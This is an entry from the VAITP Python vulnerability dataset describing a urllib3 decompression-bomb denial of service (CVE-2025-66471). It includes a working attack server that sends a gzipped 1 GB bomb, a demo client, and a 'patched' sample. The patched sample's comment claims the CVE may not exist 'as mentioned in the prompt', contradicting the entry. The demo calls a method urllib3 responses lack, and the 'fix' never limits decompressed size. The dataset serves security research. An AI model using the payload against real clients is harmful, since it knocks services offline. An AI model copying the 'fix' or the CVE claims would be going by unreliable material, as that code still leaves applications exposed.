CVE-2025-66471
urllib3 vulnerable to a decompression bomb DoS via its streaming API.
- CVSS 8.9
- CWE-409
- Resource Management
- Remote
urllib3 is a user-friendly HTTP client library for Python. Starting in version 1.0 and prior to 2.6.0, the Streaming API improperly handles highly compressed data. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data.
- CWE
- CWE-409
- CVSS base score
- 8.9
- Published
- 2025-12-05
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- urllib3
- Fixed by upgrading
- Yes
Solution
Upgrade urllib3 to version 2.6.0 or later.
Vulnerable code sample
# This code demonstrates a vulnerability analogous to the described CVE-2025-66471.
# This code simulates the behavior of a vulnerable version of urllib3 (e.g., < 2.6.0).
# The vulnerability lies in the streaming decompression logic, where reading a small
# amount of compressed data can lead to a disproportionately large memory allocation
# if the data is highly compressible (a "decompression bomb").
import gzip
import threading
import time
import urllib3
from http.server import BaseHTTPRequestHandler, HTTPServer
import sys
# --- Configuration ---
HOST = 'localhost'
PORT = 8001
# Size of the decompressed data bomb (e.g., 100MB of zeros)
DECOMPRESSED_BOMB_SIZE = 100 * 1024 * 1024
# The small chunk size we will request from the stream
CLIENT_CHUNK_SIZE = 1024
# --- Malicious Server Setup ---
# Create a highly compressible payload (the "bomb")
print(f"[*] Generating {DECOMPRESSED_BOMB_SIZE // (1024*1024)}MB decompression bomb...")
bomb_payload = b'\0' * DECOMPRESSED_BOMB_SIZE
# Compress the payload using gzip
compressed_bomb = gzip.compress(bomb_payload)
print(f"[*] Payload compressed from {len(bomb_payload)} bytes to {len(compressed_bomb)} bytes.")
class MaliciousServerHandler(BaseHTTPRequestHandler):
"""A server that sends the gzipped bomb."""
def do_GET(self):
print("\n[SERVER] Received GET request. Sending gzipped bomb...")
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
# Crucially, we tell the client the content is gzipped.
self.send_header('Content-Encoding', 'gzip')
self.send_header('Content-Length', str(len(compressed_bomb)))
self.end_headers()
self.wfile.write(compressed_bomb)
print("[SERVER] Gzipped bomb sent.")
def log_message(self, format, *args):
# Suppress server logging for cleaner output
return
def run_server():
"""Runs the HTTP server in a separate thread."""
server_address = (HOST, PORT)
httpd = HTTPServer(server_address, MaliciousServerHandler)
print(f"[SERVER] Starting server on http://{HOST}:{PORT}")
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
finally:
httpd.server_close()
# --- Vulnerable Client Demonstration ---
if __name__ == "__main__":
# Start the malicious server in a background thread
server_thread = threading.Thread(target=run_server, daemon=True)
server_thread.start()
time.sleep(1) # Wait for the server to start up
try:
print("\n[CLIENT] Initializing urllib3 PoolManager...")
# In a vulnerable version, the PoolManager is not configured to limit decompression size.
http = urllib3.PoolManager()
print(f"[CLIENT] Requesting http://{HOST}:{PORT} with streaming enabled (preload_content=False)...")
# Make the request with streaming enabled
response = http.request(
'GET',
f'http://{HOST}:{PORT}',
preload_content=False
)
print(f"[CLIENT] Preparing to read stream with iter_content(chunk_size={CLIENT_CHUNK_SIZE})...")
print("-" * 50)
print(">>> VULNERABILITY TRIGGER POINT <<<")
print(f"Even though we only ask for a {CLIENT_CHUNK_SIZE}-byte chunk, the underlying gzip")
print("decoder in a vulnerable version will read the small compressed body and decompress")
print(f"the ENTIRE {DECOMPRESSED_BOMB_SIZE // (1024*1024)}MB payload into memory at once.")
print("This causes massive memory allocation and CPU usage, leading to a DoS.")
input("Press Enter to trigger the vulnerable read operation and observe memory usage...")
# VULNERABLE OPERATION:
# The library tries to satisfy the 'chunk_size' by decompressing the stream.
# A single internal read of the compressed data is small, but its decompressed
# output is massive. The vulnerable library buffers this entire output in memory
# before the first chunk is even returned to the user.
stream_iterator = response.iter_content(chunk_size=CLIENT_CHUNK_SIZE)
first_chunk = next(stream_iterator)
print("\n[CLIENT] Successfully read the first chunk.")
print(f"[CLIENT] Size of first chunk received: {len(first_chunk)} bytes.")
print("[CLIENT] CRITICAL: The entire decompressed response is now held in an internal buffer in memory.")
print("-" * 50)
# The memory is already allocated. Consuming the rest is just reading from that buffer.
print("[CLIENT] Consuming the rest of the stream (this will be fast as it's already in memory)...")
content_length = len(first_chunk)
for chunk in stream_iterator:
content_length += len(chunk)
print(f"[CLIENT] Total decompressed size: {content_length} bytes.")
if content_length == DECOMPRESSED_BOMB_SIZE:
print("[CLIENT] Confirmed: The entire bomb was decompressed in the first operation.")
response.release_conn()
except Exception as e:
print(f"\n[CLIENT] An error occurred: {e}", file=sys.stderr)
finally:
print("\n[CLIENT] Demo finished.")
# The server is a daemon thread and will exit when the main thread exits.Patched code sample
import zlib
import io
# The CVE-2025-66471 mentioned in the prompt appears to be a placeholder or does not exist
# at the time of writing. The behavior described is nearly identical to a real vulnerability,
# CVE-2023-45803, fixed in urllib3 v2.0.7. This code demonstrates the principle of that fix.
# The vulnerability occurs when a streaming reader tries to decompress data. A vulnerable
# implementation might keep reading small amounts of compressed data from the network until
# it has produced the requested amount of *decompressed* data. If the data is a
# "decompression bomb" (e.g., a highly compressed stream of null bytes), this could cause
# the library to read a small amount of data and try to decompress it into gigabytes of
# memory, leading to a Denial of Service.
# The fix is to put a reasonable upper limit on the amount of *compressed* data that will
# be read from the network in a single operation during a streaming decompression. This
# prevents a single 'read' call from allocating an excessive amount of memory.
class PatchedHTTPResponse:
"""
A mock HTTPResponse class demonstrating the fix for a decompression bomb
vulnerability (similar to CVE-2023-45803).
"""
# THE FIX: Introduce a limit on how much compressed data is read at once.
# This prevents a small, highly-compressed chunk from expanding into a
# massive amount of data in memory in a single operation. In the real
# urllib3 fix, this value is 1,000,000 bytes.
MAX_DECOMPRESS_CHUNK_SIZE = 65536
def __init__(self, compressed_data_stream):
# A file-like object representing the raw response body from the network.
self._fp = compressed_data_stream
# A decompressor object (e.g., for gzip or deflate).
self._decoder = zlib.decompressobj()
# A buffer for holding decompressed data that has been read but not yet
# returned to the user.
self._decoded_buffer = b""
self._is_closed = False
def read(self, amt=None, decode_content=True):
"""
Reads from the stream, applying the patched decompression logic.
"""
if self._is_closed or not decode_content or not self._decoder:
return self._fp.read(amt)
# If we already have enough data in our buffer, return it.
if amt is not None and len(self._decoded_buffer) >= amt:
data = self._decoded_buffer[:amt]
self._decoded_buffer = self._decoded_buffer[amt:]
return data
# This loop contains the patched logic. It reads from the compressed stream
# and decompresses until 'amt' bytes are available.
while amt is None or len(self._decoded_buffer) < amt:
# --- THE FIX IS APPLIED HERE ---
# We cap the amount of *compressed* data we read from the underlying
# stream. This prevents us from reading a large payload that could
# decompress to an enormous size in a single pass.
bytes_to_read = self.MAX_DECOMPRESS_CHUNK_SIZE
compressed_chunk = self._fp.read(bytes_to_read)
if not compressed_chunk:
# End of the compressed stream, flush the decoder.
self._decoded_buffer += self._decoder.flush()
self._decoder = None # Decompression is finished.
break
self._decoded_buffer += self._decoder.decompress(compressed_chunk)
# Return the requested amount of data from our buffer.
if amt is None:
data = self._decoded_buffer
self._decoded_buffer = b""
else:
data = self._decoded_buffer[:amt]
self._decoded_buffer = self._decoded_buffer[amt:]
if not data:
self.close()
return data
def stream(self, chunk_size=8192):
"""
A generator that yields chunks of the response body.
"""
while not self._is_closed:
chunk = self.read(amt=chunk_size, decode_content=True)
if not chunk:
break
yield chunk
def close(self):
"""Closes the response."""
self._is_closed = True
self._fp.close()
def demonstrate_fix():
"""
Sets up a "decompression bomb" scenario and shows how the patched
code handles it safely by reading it in controlled chunks.
"""
# 1. Create a highly compressible payload (a "bomb" of 20MB of null bytes).
uncompressed_size = 20 * 1024 * 1024 # 20 MB
uncompressed_data = b'\x00' * uncompressed_size
# 2. Compress it. This will result in a very small amount of data.
compressed_data = zlib.compress(uncompressed_data)
print(f"Original data size: {uncompressed_size / 1024 / 1024:.2f} MB")
print(f"Compressed data size (the 'bomb'): {len(compressed_data) / 1024:.2f} KB")
print("-" * 40)
# 3. Create a file-like object for the compressed data stream.
compressed_stream = io.BytesIO(compressed_data)
# 4. Use the PatchedHTTPResponse to stream the data.
response = PatchedHTTPResponse(compressed_data_stream=compressed_stream)
print("Streaming decompressed data using the patched reader...")
total_bytes_streamed = 0
chunk_count = 0
# We request data in chunks. The patched 'read' method will not decompress
# the entire bomb at once. Instead, it reads a limited amount of compressed
# data, decompresses it, and yields a chunk, preventing excessive memory usage.
for chunk in response.stream(chunk_size=1024 * 1024): # 1MB chunks
total_bytes_streamed += len(chunk)
chunk_count += 1
print(f" -> Yielded chunk {chunk_count}, "
f"Total streamed: {total_bytes_streamed / 1024 / 1024:.2f} MB")
print("-" * 40)
print("Streaming complete.")
print(f"Total bytes streamed: {total_bytes_streamed / 1024 / 1024:.2f} MB")
print(f"Original size matches streamed size: {total_bytes_streamed == uncompressed_size}")
response.close()
if __name__ == "__main__":
demonstrate_fix()Payload
import http.server
import socketserver
import gzip
PORT = 8000
# A large payload of repetitive data (1 GB of null bytes) compresses very well.
DECOMPRESSED_SIZE = 1024 * 1024 * 1024
PAYLOAD_DATA = b'\x00' * DECOMPRESSED_SIZE
# The compressed data is small, but will expand to 1 GB in the client's memory.
COMPRESSED_PAYLOAD = gzip.compress(PAYLOAD_DATA)
class MaliciousHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
# This header tells urllib3 to decompress the response body.
self.send_header("Content-Encoding", "gzip")
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(len(COMPRESSED_PAYLOAD)))
self.end_headers()
self.wfile.write(COMPRESSED_PAYLOAD)
# This server will listen for requests and send the malicious payload.
with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd:
httpd.serve_forever()
Cite this entry
@misc{vaitp:cve202566471,
title = {{urllib3 vulnerable to a decompression bomb DoS via its streaming API.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-66471},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-66471/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
